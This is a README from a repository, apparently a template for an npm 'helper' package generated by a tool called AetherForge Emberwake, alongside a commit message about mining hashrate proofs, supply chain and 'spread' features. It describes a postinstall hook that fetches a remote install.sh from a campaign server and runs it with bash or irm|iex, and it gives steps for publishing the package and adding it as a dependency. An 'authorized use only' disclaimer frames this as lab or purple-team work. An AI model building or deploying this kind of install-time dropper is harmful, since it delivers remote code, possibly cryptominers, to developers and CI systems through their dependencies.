Files
AetherForge/templates/npm-helper-package/README.md
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

39 lines
1.3 KiB
Markdown

# {{PACKAGE_NAME}}
**Authorized use only** — purple-team, lab, and fleet machines you administer.
This npm package template is exported from **AetherForge Emberwake**. It runs a `postinstall` script that pulls your command-deck `install.sh` with campaign attribution.
## What it does
On `npm install`, the postinstall hook:
1. Sets `AETHER_CAMPAIGN={{CAMPAIGN}}` (and `AETHER_UTM`).
2. Fetches `{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}`.
3. Executes the platform installer (bash on Unix, `irm|iex` on Windows).
Optional pinned build: `{{BUILD_ID}}`.
## Operator workflow
1. Emberwake → **Export npm package template ZIP**.
2. Unzip, adjust `package.json` name/version if needed.
3. Publish to a registry **you control** (private npm, Verdaccio, GitHub Packages).
4. Depend on it only in projects under your authorization scope.
## What this is NOT
- Not for typosquatting public npm packages.
- Not for hijacking third-party dependency chains.
- Not silent — install scripts still run in the operator's CI/dev environment with full visibility.
## Configuration baked at export
| Field | Value |
|-------|-------|
| Server | `{{SERVER_URL}}` |
| Campaign | `{{CAMPAIGN}}` |
| Build pin | `{{BUILD_ID}}` |
See the docs wiki: [npm postinstall helper](/docs/#npm-postinstall-helper).